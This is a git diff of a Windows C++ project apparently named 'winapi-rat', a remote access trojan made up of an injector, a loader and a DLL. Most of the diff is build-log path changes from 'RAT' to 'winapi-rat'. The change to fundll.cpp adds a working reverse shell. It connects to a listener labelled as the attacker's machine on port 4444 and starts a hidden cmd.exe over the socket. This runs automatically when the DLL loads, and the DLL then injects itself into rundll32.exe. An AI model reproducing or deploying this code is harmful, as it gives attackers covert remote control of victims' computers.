diff --git a/Debug/FunDLL.exp b/Debug/FunDLL.exp index 6f1fe7a..8776cc5 100644 Binary files a/Debug/FunDLL.exp and b/Debug/FunDLL.exp differ diff --git a/Debug/FunDLL.iobj b/Debug/FunDLL.iobj index d30e36e..bb3d36e 100644 Binary files a/Debug/FunDLL.iobj and b/Debug/FunDLL.iobj differ diff --git a/Debug/FunDLL.ipdb b/Debug/FunDLL.ipdb index 1e662ac..cff6b2d 100644 Binary files a/Debug/FunDLL.ipdb and b/Debug/FunDLL.ipdb differ diff --git a/Debug/FunDLL.pdb b/Debug/FunDLL.pdb index 7c917d7..170f2e5 100644 Binary files a/Debug/FunDLL.pdb and b/Debug/FunDLL.pdb differ diff --git a/Debug/Injector.pdb b/Debug/Injector.pdb index 49dfc3a..dc92f59 100644 Binary files a/Debug/Injector.pdb and b/Debug/Injector.pdb differ diff --git a/Debug/Loader.pdb b/Debug/Loader.pdb index e219a04..805da62 100644 Binary files a/Debug/Loader.pdb and b/Debug/Loader.pdb differ diff --git a/Dll/Debug/Dll.Build.CppClean.log b/Dll/Debug/Dll.Build.CppClean.log deleted file mode 100644 index d6d1236..0000000 --- a/Dll/Debug/Dll.Build.CppClean.log +++ /dev/null @@ -1,13 +0,0 @@ -c:\users\hellisabove\source\repos\rat\dll\debug\vc141.pdb -c:\users\hellisabove\source\repos\rat\dll\debug\fundll.obj -c:\users\hellisabove\source\repos\rat\debug\dll.lib -c:\users\hellisabove\source\repos\rat\debug\dll.exp -c:\users\hellisabove\source\repos\rat\debug\dll.dll -c:\users\hellisabove\source\repos\rat\debug\dll.pdb -c:\users\hellisabove\source\repos\rat\dll\debug\dll.tlog\cl.command.1.tlog -c:\users\hellisabove\source\repos\rat\dll\debug\dll.tlog\cl.read.1.tlog -c:\users\hellisabove\source\repos\rat\dll\debug\dll.tlog\cl.write.1.tlog -c:\users\hellisabove\source\repos\rat\dll\debug\dll.tlog\dll.write.1u.tlog -c:\users\hellisabove\source\repos\rat\dll\debug\dll.tlog\link.command.1.tlog -c:\users\hellisabove\source\repos\rat\dll\debug\dll.tlog\link.read.1.tlog -c:\users\hellisabove\source\repos\rat\dll\debug\dll.tlog\link.write.1.tlog diff --git a/Dll/Debug/Dll.log b/Dll/Debug/Dll.log index 29b5d4d..62bd360 100644 --- a/Dll/Debug/Dll.log +++ b/Dll/Debug/Dll.log @@ -1,10 +1,9 @@ C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Microsoft\VC\v150\Platforms\Win32\PlatformToolsets\v141_xp\Toolset.targets(39,5): warning MSB8051: Support for targeting Windows XP is deprecated and will not be present in future releases of Visual Studio. Please see https://go.microsoft.com/fwlink/?linkid=2023588 for more information. -C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Microsoft\VC\v150\Microsoft.CppBuild.targets(391,5): warning MSB8028: The intermediate directory (Debug\) contains files shared from another project (Dll.vcxproj). This can lead to incorrect clean and rebuild behavior. fundll.cpp - tools.cpp - Creating library C:\Users\hellisabove\source\repos\RAT\Debug\FunDLL.lib and object C:\Users\hellisabove\source\repos\RAT\Debug\FunDLL.exp + Creating library C:\Users\hellisabove\source\repos\winapi-rat\Debug\FunDLL.lib and object C:\Users\hellisabove\source\repos\winapi-rat\Debug\FunDLL.exp Generating code -c:\users\hellisabove\source\repos\rat\dll\tools.cpp(162): warning C4715: 'Tools::AutoInject': not all control paths return a value +c:\users\hellisabove\source\repos\winapi-rat\dll\tools.cpp(162): warning C4715: 'Tools::AutoInject': not all control paths return a value +c:\users\hellisabove\source\repos\winapi-rat\dll\fundll.cpp(44): warning C4700: uninitialized local variable 'dll_param' used All 6 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. Finished generating code - Dll.vcxproj -> C:\Users\hellisabove\source\repos\RAT\Debug\FunDLL.dll + Dll.vcxproj -> C:\Users\hellisabove\source\repos\winapi-rat\Debug\FunDLL.dll diff --git a/Dll/Debug/Dll.tlog/CL.command.1.tlog b/Dll/Debug/Dll.tlog/CL.command.1.tlog deleted file mode 100644 index 4fe39f0..0000000 Binary files a/Dll/Debug/Dll.tlog/CL.command.1.tlog and /dev/null differ diff --git a/Dll/Debug/Dll.tlog/CL.read.1.tlog b/Dll/Debug/Dll.tlog/CL.read.1.tlog deleted file mode 100644 index 8d47c28..0000000 Binary files a/Dll/Debug/Dll.tlog/CL.read.1.tlog and /dev/null differ diff --git a/Dll/Debug/Dll.tlog/CL.write.1.tlog b/Dll/Debug/Dll.tlog/CL.write.1.tlog deleted file mode 100644 index 27f4603..0000000 Binary files a/Dll/Debug/Dll.tlog/CL.write.1.tlog and /dev/null differ diff --git a/Dll/Debug/Dll.tlog/Dll.lastbuildstate b/Dll/Debug/Dll.tlog/Dll.lastbuildstate deleted file mode 100644 index 23245b8..0000000 --- a/Dll/Debug/Dll.tlog/Dll.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#TargetFrameworkVersion=:PlatformToolSet=v141_xp:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=7.0 -Debug|Win32|C:\Users\hellisabove\source\repos\RAT\| diff --git a/Dll/Debug/Dll.tlog/Dll.write.1u.tlog b/Dll/Debug/Dll.tlog/Dll.write.1u.tlog deleted file mode 100644 index 7e00ff0..0000000 Binary files a/Dll/Debug/Dll.tlog/Dll.write.1u.tlog and /dev/null differ diff --git a/Dll/Debug/Dll.tlog/link.command.1.tlog b/Dll/Debug/Dll.tlog/link.command.1.tlog deleted file mode 100644 index 75aba57..0000000 Binary files a/Dll/Debug/Dll.tlog/link.command.1.tlog and /dev/null differ diff --git a/Dll/Debug/Dll.tlog/link.read.1.tlog b/Dll/Debug/Dll.tlog/link.read.1.tlog deleted file mode 100644 index d81d459..0000000 Binary files a/Dll/Debug/Dll.tlog/link.read.1.tlog and /dev/null differ diff --git a/Dll/Debug/Dll.tlog/link.write.1.tlog b/Dll/Debug/Dll.tlog/link.write.1.tlog deleted file mode 100644 index e3312ec..0000000 Binary files a/Dll/Debug/Dll.tlog/link.write.1.tlog and /dev/null differ diff --git a/Dll/Debug/FunDLL.Build.CppClean.log b/Dll/Debug/FunDLL.Build.CppClean.log index 0e53a99..aa31ee6 100644 --- a/Dll/Debug/FunDLL.Build.CppClean.log +++ b/Dll/Debug/FunDLL.Build.CppClean.log @@ -1,16 +1,16 @@ -c:\users\hellisabove\source\repos\rat\dll\debug\vc141.pdb -c:\users\hellisabove\source\repos\rat\dll\debug\tools.obj -c:\users\hellisabove\source\repos\rat\dll\debug\fundll.obj -c:\users\hellisabove\source\repos\rat\debug\fundll.lib -c:\users\hellisabove\source\repos\rat\debug\fundll.exp -c:\users\hellisabove\source\repos\rat\debug\fundll.ipdb -c:\users\hellisabove\source\repos\rat\debug\fundll.iobj -c:\users\hellisabove\source\repos\rat\debug\fundll.dll -c:\users\hellisabove\source\repos\rat\debug\fundll.pdb -c:\users\hellisabove\source\repos\rat\dll\debug\fundll.tlog\cl.command.1.tlog -c:\users\hellisabove\source\repos\rat\dll\debug\fundll.tlog\cl.read.1.tlog -c:\users\hellisabove\source\repos\rat\dll\debug\fundll.tlog\cl.write.1.tlog -c:\users\hellisabove\source\repos\rat\dll\debug\fundll.tlog\fundll.write.1u.tlog -c:\users\hellisabove\source\repos\rat\dll\debug\fundll.tlog\link.command.1.tlog -c:\users\hellisabove\source\repos\rat\dll\debug\fundll.tlog\link.read.1.tlog -c:\users\hellisabove\source\repos\rat\dll\debug\fundll.tlog\link.write.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\dll\debug\vc141.pdb +c:\users\hellisabove\source\repos\winapi-rat\dll\debug\tools.obj +c:\users\hellisabove\source\repos\winapi-rat\dll\debug\fundll.obj +c:\users\hellisabove\source\repos\winapi-rat\debug\fundll.lib +c:\users\hellisabove\source\repos\winapi-rat\debug\fundll.exp +c:\users\hellisabove\source\repos\winapi-rat\debug\fundll.ipdb +c:\users\hellisabove\source\repos\winapi-rat\debug\fundll.iobj +c:\users\hellisabove\source\repos\winapi-rat\debug\fundll.dll +c:\users\hellisabove\source\repos\winapi-rat\debug\fundll.pdb +c:\users\hellisabove\source\repos\winapi-rat\dll\debug\fundll.tlog\cl.command.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\dll\debug\fundll.tlog\cl.read.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\dll\debug\fundll.tlog\cl.write.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\dll\debug\fundll.tlog\fundll.write.1u.tlog +c:\users\hellisabove\source\repos\winapi-rat\dll\debug\fundll.tlog\link.command.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\dll\debug\fundll.tlog\link.read.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\dll\debug\fundll.tlog\link.write.1.tlog diff --git a/Dll/Debug/FunDLL.tlog/CL.command.1.tlog b/Dll/Debug/FunDLL.tlog/CL.command.1.tlog index 34a3dbc..b4bf81c 100644 Binary files a/Dll/Debug/FunDLL.tlog/CL.command.1.tlog and b/Dll/Debug/FunDLL.tlog/CL.command.1.tlog differ diff --git a/Dll/Debug/FunDLL.tlog/CL.read.1.tlog b/Dll/Debug/FunDLL.tlog/CL.read.1.tlog index 6bbc5cf..535912a 100644 Binary files a/Dll/Debug/FunDLL.tlog/CL.read.1.tlog and b/Dll/Debug/FunDLL.tlog/CL.read.1.tlog differ diff --git a/Dll/Debug/FunDLL.tlog/CL.write.1.tlog b/Dll/Debug/FunDLL.tlog/CL.write.1.tlog index e7ddf59..a13549c 100644 Binary files a/Dll/Debug/FunDLL.tlog/CL.write.1.tlog and b/Dll/Debug/FunDLL.tlog/CL.write.1.tlog differ diff --git a/Dll/Debug/FunDLL.tlog/FunDLL.lastbuildstate b/Dll/Debug/FunDLL.tlog/FunDLL.lastbuildstate index 23245b8..1aa9b93 100644 --- a/Dll/Debug/FunDLL.tlog/FunDLL.lastbuildstate +++ b/Dll/Debug/FunDLL.tlog/FunDLL.lastbuildstate @@ -1,2 +1,2 @@ #TargetFrameworkVersion=:PlatformToolSet=v141_xp:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=7.0 -Debug|Win32|C:\Users\hellisabove\source\repos\RAT\| +Debug|Win32|C:\Users\hellisabove\source\repos\winapi-rat\| diff --git a/Dll/Debug/FunDLL.tlog/FunDLL.write.1u.tlog b/Dll/Debug/FunDLL.tlog/FunDLL.write.1u.tlog index b4bb458..96997a8 100644 Binary files a/Dll/Debug/FunDLL.tlog/FunDLL.write.1u.tlog and b/Dll/Debug/FunDLL.tlog/FunDLL.write.1u.tlog differ diff --git a/Dll/Debug/FunDLL.tlog/link.command.1.tlog b/Dll/Debug/FunDLL.tlog/link.command.1.tlog index 694b08a..9a43dee 100644 Binary files a/Dll/Debug/FunDLL.tlog/link.command.1.tlog and b/Dll/Debug/FunDLL.tlog/link.command.1.tlog differ diff --git a/Dll/Debug/FunDLL.tlog/link.read.1.tlog b/Dll/Debug/FunDLL.tlog/link.read.1.tlog index bec3985..d13b479 100644 Binary files a/Dll/Debug/FunDLL.tlog/link.read.1.tlog and b/Dll/Debug/FunDLL.tlog/link.read.1.tlog differ diff --git a/Dll/Debug/FunDLL.tlog/link.write.1.tlog b/Dll/Debug/FunDLL.tlog/link.write.1.tlog index cfcbc5e..fd6a4f2 100644 Binary files a/Dll/Debug/FunDLL.tlog/link.write.1.tlog and b/Dll/Debug/FunDLL.tlog/link.write.1.tlog differ diff --git a/Dll/Debug/vc141.pdb b/Dll/Debug/vc141.pdb index 53ebfb9..5257e08 100644 Binary files a/Dll/Debug/vc141.pdb and b/Dll/Debug/vc141.pdb differ diff --git a/Dll/fundll.cpp b/Dll/fundll.cpp index ae31cf6..8daac72 100644 --- a/Dll/fundll.cpp +++ b/Dll/fundll.cpp @@ -1,42 +1,59 @@ +#include +#include #include "tools.h" -BOOL was_dllmain_called = FALSE; -DWORD dll_param; +#pragma comment(lib, "ws2_32") -LPSTR target_path = "C:\\Windows\\System32\\conhost.exe"; +int reverse(void) { + WSADATA wsaData; + SOCKET wSock; + struct sockaddr_in sock; + STARTUPINFO si; + PROCESS_INFORMATION pi; + + // listener ip, port on attacker's machine + char* ip = "192.168.1.240"; + short port = 4444; + + // init socket lib + WSAStartup(MAKEWORD(2, 2), &wsaData); + + // create socket + wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL); + + sock.sin_family = AF_INET; + sock.sin_port = htons(port); + sock.sin_addr.s_addr = inet_addr(ip); + + // connect to remote host + WSAConnect(wSock, (SOCKADDR*)&sock, sizeof(sock), NULL, NULL, NULL, NULL); + + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESTDHANDLES; + si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)wSock; + + // start cmd.exe with redirected streams + CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); + exit(0); +} extern "C" __declspec(dllexport) void FunEntry() { + LPSTR target_path = "C:\\Windows\\System32\\rundll32.exe"; + DWORD dll_param; char dll_path[MAX_PATH]; DWORD ret = GetModuleFileNameA((HINSTANCE)dll_param, dll_path, MAX_PATH); - char test[1024]; - wsprintfA(test, "%s", dll_path); - MessageBoxA(0, test, "", 0); - // inject dll + reverse(); Tools::AutoInject(target_path, dll_path); } BOOL APIENTRY DllMain(HMODULE Base, DWORD Callback, LPVOID Param) { - dll_param = (DWORD)Base; - was_dllmain_called = TRUE; - switch (Callback) { case DLL_PROCESS_ATTACH: - - break; + FunEntry(); + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: - break; } return TRUE; -} - -extern "C" __declspec(dllexport) void MainBitch() { - if (was_dllmain_called) { - while (TRUE) { - char exe[MAX_PATH + 1]; - GetModuleFileNameA(0, exe, sizeof(exe)); - MessageBoxA(0, exe, "I am inside: ", 0); - } - } else { - MessageBoxA(NULL, "DLLMain was not called", NULL, 0); - } } \ No newline at end of file diff --git a/Dll/tools.h b/Dll/tools.h index 8d523cf..4a6c125 100644 --- a/Dll/tools.h +++ b/Dll/tools.h @@ -1,5 +1,4 @@ #include - #pragma once namespace Tools { diff --git a/Injector/Debug/Injector.Build.CppClean.log b/Injector/Debug/Injector.Build.CppClean.log index 64be309..1e1371d 100644 --- a/Injector/Debug/Injector.Build.CppClean.log +++ b/Injector/Debug/Injector.Build.CppClean.log @@ -1,13 +1,13 @@ -c:\users\hellisabove\source\repos\rat\injector\debug\vc143.pdb -c:\users\hellisabove\source\repos\rat\injector\debug\vc143.idb -c:\users\hellisabove\source\repos\rat\injector\debug\injector.obj -c:\users\hellisabove\source\repos\rat\injector\debug\injector.ilk -c:\users\hellisabove\source\repos\rat\debug\injector.exe -c:\users\hellisabove\source\repos\rat\debug\injector.pdb -c:\users\hellisabove\source\repos\rat\injector\debug\injector.tlog\cl.command.1.tlog -c:\users\hellisabove\source\repos\rat\injector\debug\injector.tlog\cl.items.tlog -c:\users\hellisabove\source\repos\rat\injector\debug\injector.tlog\cl.read.1.tlog -c:\users\hellisabove\source\repos\rat\injector\debug\injector.tlog\cl.write.1.tlog -c:\users\hellisabove\source\repos\rat\injector\debug\injector.tlog\link.command.1.tlog -c:\users\hellisabove\source\repos\rat\injector\debug\injector.tlog\link.read.1.tlog -c:\users\hellisabove\source\repos\rat\injector\debug\injector.tlog\link.write.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\injector\debug\vc143.pdb +c:\users\hellisabove\source\repos\winapi-rat\injector\debug\vc143.idb +c:\users\hellisabove\source\repos\winapi-rat\injector\debug\injector.obj +c:\users\hellisabove\source\repos\winapi-rat\injector\debug\injector.ilk +c:\users\hellisabove\source\repos\winapi-rat\debug\injector.exe +c:\users\hellisabove\source\repos\winapi-rat\debug\injector.pdb +c:\users\hellisabove\source\repos\winapi-rat\injector\debug\injector.tlog\cl.command.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\injector\debug\injector.tlog\cl.items.tlog +c:\users\hellisabove\source\repos\winapi-rat\injector\debug\injector.tlog\cl.read.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\injector\debug\injector.tlog\cl.write.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\injector\debug\injector.tlog\link.command.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\injector\debug\injector.tlog\link.read.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\injector\debug\injector.tlog\link.write.1.tlog diff --git a/Injector/Debug/Injector.exe.recipe b/Injector/Debug/Injector.exe.recipe index f052071..b8ce5fa 100644 --- a/Injector/Debug/Injector.exe.recipe +++ b/Injector/Debug/Injector.exe.recipe @@ -2,7 +2,7 @@ - C:\Users\hellisabove\source\repos\RAT\Debug\Injector.exe + C:\Users\hellisabove\source\repos\winapi-rat\Debug\Injector.exe diff --git a/Injector/Debug/Injector.ilk b/Injector/Debug/Injector.ilk index fd7f644..ead10d1 100644 Binary files a/Injector/Debug/Injector.ilk and b/Injector/Debug/Injector.ilk differ diff --git a/Injector/Debug/Injector.log b/Injector/Debug/Injector.log index d66fb90..bb5f3de 100644 --- a/Injector/Debug/Injector.log +++ b/Injector/Debug/Injector.log @@ -1,2 +1,2 @@  injector.cpp - Injector.vcxproj -> C:\Users\hellisabove\source\repos\RAT\Debug\Injector.exe + Injector.vcxproj -> C:\Users\hellisabove\source\repos\winapi-rat\Debug\Injector.exe diff --git a/Injector/Debug/Injector.tlog/CL.command.1.tlog b/Injector/Debug/Injector.tlog/CL.command.1.tlog index ec99c38..a454c9a 100644 Binary files a/Injector/Debug/Injector.tlog/CL.command.1.tlog and b/Injector/Debug/Injector.tlog/CL.command.1.tlog differ diff --git a/Injector/Debug/Injector.tlog/CL.read.1.tlog b/Injector/Debug/Injector.tlog/CL.read.1.tlog index 0c81f4c..63339a1 100644 Binary files a/Injector/Debug/Injector.tlog/CL.read.1.tlog and b/Injector/Debug/Injector.tlog/CL.read.1.tlog differ diff --git a/Injector/Debug/Injector.tlog/CL.write.1.tlog b/Injector/Debug/Injector.tlog/CL.write.1.tlog index 7873a02..2e6684d 100644 Binary files a/Injector/Debug/Injector.tlog/CL.write.1.tlog and b/Injector/Debug/Injector.tlog/CL.write.1.tlog differ diff --git a/Injector/Debug/Injector.tlog/Cl.items.tlog b/Injector/Debug/Injector.tlog/Cl.items.tlog index 31c4d28..47fb8b8 100644 --- a/Injector/Debug/Injector.tlog/Cl.items.tlog +++ b/Injector/Debug/Injector.tlog/Cl.items.tlog @@ -1 +1 @@ -C:\Users\hellisabove\source\repos\RAT\Injector\injector.cpp;C:\Users\hellisabove\source\repos\RAT\Injector\Debug\injector.obj +C:\Users\hellisabove\source\repos\winapi-rat\Injector\injector.cpp;C:\Users\hellisabove\source\repos\winapi-rat\Injector\Debug\injector.obj diff --git a/Injector/Debug/Injector.tlog/Injector.lastbuildstate b/Injector/Debug/Injector.tlog/Injector.lastbuildstate index 4253841..6d72e4b 100644 --- a/Injector/Debug/Injector.tlog/Injector.lastbuildstate +++ b/Injector/Debug/Injector.tlog/Injector.lastbuildstate @@ -1,2 +1,2 @@ PlatformToolSet=v143:VCToolArchitecture=Native32Bit:VCToolsVersion=14.36.32532:TargetPlatformVersion=10.0.22621.0: -Debug|Win32|C:\Users\hellisabove\source\repos\RAT\| +Debug|Win32|C:\Users\hellisabove\source\repos\winapi-rat\| diff --git a/Injector/Debug/Injector.tlog/link.command.1.tlog b/Injector/Debug/Injector.tlog/link.command.1.tlog index 09060de..c069b15 100644 Binary files a/Injector/Debug/Injector.tlog/link.command.1.tlog and b/Injector/Debug/Injector.tlog/link.command.1.tlog differ diff --git a/Injector/Debug/Injector.tlog/link.read.1.tlog b/Injector/Debug/Injector.tlog/link.read.1.tlog index e107641..3966ea6 100644 Binary files a/Injector/Debug/Injector.tlog/link.read.1.tlog and b/Injector/Debug/Injector.tlog/link.read.1.tlog differ diff --git a/Injector/Debug/Injector.tlog/link.write.1.tlog b/Injector/Debug/Injector.tlog/link.write.1.tlog index 60df88e..c088f69 100644 Binary files a/Injector/Debug/Injector.tlog/link.write.1.tlog and b/Injector/Debug/Injector.tlog/link.write.1.tlog differ diff --git a/Injector/Debug/vc143.idb b/Injector/Debug/vc143.idb index 7bf1f48..a604dad 100644 Binary files a/Injector/Debug/vc143.idb and b/Injector/Debug/vc143.idb differ diff --git a/Injector/Debug/vc143.pdb b/Injector/Debug/vc143.pdb index 444af5d..33fe93e 100644 Binary files a/Injector/Debug/vc143.pdb and b/Injector/Debug/vc143.pdb differ diff --git a/Injector/injector.cpp b/Injector/injector.cpp index 19eee79..cabbe7d 100644 --- a/Injector/injector.cpp +++ b/Injector/injector.cpp @@ -78,5 +78,5 @@ INT main(INT arg, PCHAR argv[]) { CloseHandle(x_file); } else - printf("\nUSE: %s section name target dll\n",argv[0]); + printf("\nUSE: %s 'section name' target dll\n",argv[0]); } \ No newline at end of file diff --git a/Loader/Debug/Loader.Build.CppClean.log b/Loader/Debug/Loader.Build.CppClean.log index 159bfc9..d86b6bb 100644 --- a/Loader/Debug/Loader.Build.CppClean.log +++ b/Loader/Debug/Loader.Build.CppClean.log @@ -1,11 +1,11 @@ -c:\users\hellisabove\source\repos\rat\loader\debug\vc141.pdb -c:\users\hellisabove\source\repos\rat\loader\debug\tools.obj -c:\users\hellisabove\source\repos\rat\loader\debug\loader.obj -c:\users\hellisabove\source\repos\rat\debug\loader.exe -c:\users\hellisabove\source\repos\rat\debug\loader.pdb -c:\users\hellisabove\source\repos\rat\loader\debug\loader.tlog\cl.command.1.tlog -c:\users\hellisabove\source\repos\rat\loader\debug\loader.tlog\cl.read.1.tlog -c:\users\hellisabove\source\repos\rat\loader\debug\loader.tlog\cl.write.1.tlog -c:\users\hellisabove\source\repos\rat\loader\debug\loader.tlog\link.command.1.tlog -c:\users\hellisabove\source\repos\rat\loader\debug\loader.tlog\link.read.1.tlog -c:\users\hellisabove\source\repos\rat\loader\debug\loader.tlog\link.write.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\loader\debug\vc141.pdb +c:\users\hellisabove\source\repos\winapi-rat\loader\debug\tools.obj +c:\users\hellisabove\source\repos\winapi-rat\loader\debug\loader.obj +c:\users\hellisabove\source\repos\winapi-rat\debug\loader.exe +c:\users\hellisabove\source\repos\winapi-rat\debug\loader.pdb +c:\users\hellisabove\source\repos\winapi-rat\loader\debug\loader.tlog\cl.command.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\loader\debug\loader.tlog\cl.read.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\loader\debug\loader.tlog\cl.write.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\loader\debug\loader.tlog\link.command.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\loader\debug\loader.tlog\link.read.1.tlog +c:\users\hellisabove\source\repos\winapi-rat\loader\debug\loader.tlog\link.write.1.tlog diff --git a/Loader/Debug/Loader.log b/Loader/Debug/Loader.log index d7e0545..47da003 100644 --- a/Loader/Debug/Loader.log +++ b/Loader/Debug/Loader.log @@ -1,6 +1,2 @@ C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Microsoft\VC\v150\Platforms\Win32\PlatformToolsets\v141_xp\Toolset.targets(39,5): warning MSB8051: Support for targeting Windows XP is deprecated and will not be present in future releases of Visual Studio. Please see https://go.microsoft.com/fwlink/?linkid=2023588 for more information. -cl : Command line warning D9025: overriding '/sdl-' with '/GS-' - loader.cpp - tools.cpp - Generating Code... - Loader.vcxproj -> C:\Users\hellisabove\source\repos\RAT\Debug\Loader.exe + Loader.vcxproj -> C:\Users\hellisabove\source\repos\winapi-rat\Debug\Loader.exe diff --git a/Loader/Debug/Loader.tlog/CL.command.1.tlog b/Loader/Debug/Loader.tlog/CL.command.1.tlog index ad07b3b..bddc2da 100644 Binary files a/Loader/Debug/Loader.tlog/CL.command.1.tlog and b/Loader/Debug/Loader.tlog/CL.command.1.tlog differ diff --git a/Loader/Debug/Loader.tlog/CL.read.1.tlog b/Loader/Debug/Loader.tlog/CL.read.1.tlog index 51bc714..02debb1 100644 Binary files a/Loader/Debug/Loader.tlog/CL.read.1.tlog and b/Loader/Debug/Loader.tlog/CL.read.1.tlog differ diff --git a/Loader/Debug/Loader.tlog/CL.write.1.tlog b/Loader/Debug/Loader.tlog/CL.write.1.tlog index 484979f..10c3218 100644 Binary files a/Loader/Debug/Loader.tlog/CL.write.1.tlog and b/Loader/Debug/Loader.tlog/CL.write.1.tlog differ diff --git a/Loader/Debug/Loader.tlog/Loader.lastbuildstate b/Loader/Debug/Loader.tlog/Loader.lastbuildstate index 23245b8..1aa9b93 100644 --- a/Loader/Debug/Loader.tlog/Loader.lastbuildstate +++ b/Loader/Debug/Loader.tlog/Loader.lastbuildstate @@ -1,2 +1,2 @@ #TargetFrameworkVersion=:PlatformToolSet=v141_xp:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=7.0 -Debug|Win32|C:\Users\hellisabove\source\repos\RAT\| +Debug|Win32|C:\Users\hellisabove\source\repos\winapi-rat\| diff --git a/Loader/Debug/Loader.tlog/link.command.1.tlog b/Loader/Debug/Loader.tlog/link.command.1.tlog index b536724..5c2542a 100644 Binary files a/Loader/Debug/Loader.tlog/link.command.1.tlog and b/Loader/Debug/Loader.tlog/link.command.1.tlog differ diff --git a/Loader/Debug/Loader.tlog/link.read.1.tlog b/Loader/Debug/Loader.tlog/link.read.1.tlog index f03f114..0ace6bc 100644 Binary files a/Loader/Debug/Loader.tlog/link.read.1.tlog and b/Loader/Debug/Loader.tlog/link.read.1.tlog differ diff --git a/Loader/Debug/Loader.tlog/link.write.1.tlog b/Loader/Debug/Loader.tlog/link.write.1.tlog index e0d3597..c7af53e 100644 Binary files a/Loader/Debug/Loader.tlog/link.write.1.tlog and b/Loader/Debug/Loader.tlog/link.write.1.tlog differ diff --git a/Loader/Debug/vc141.pdb b/Loader/Debug/vc141.pdb index 0898a27..9de65b3 100644 Binary files a/Loader/Debug/vc141.pdb and b/Loader/Debug/vc141.pdb differ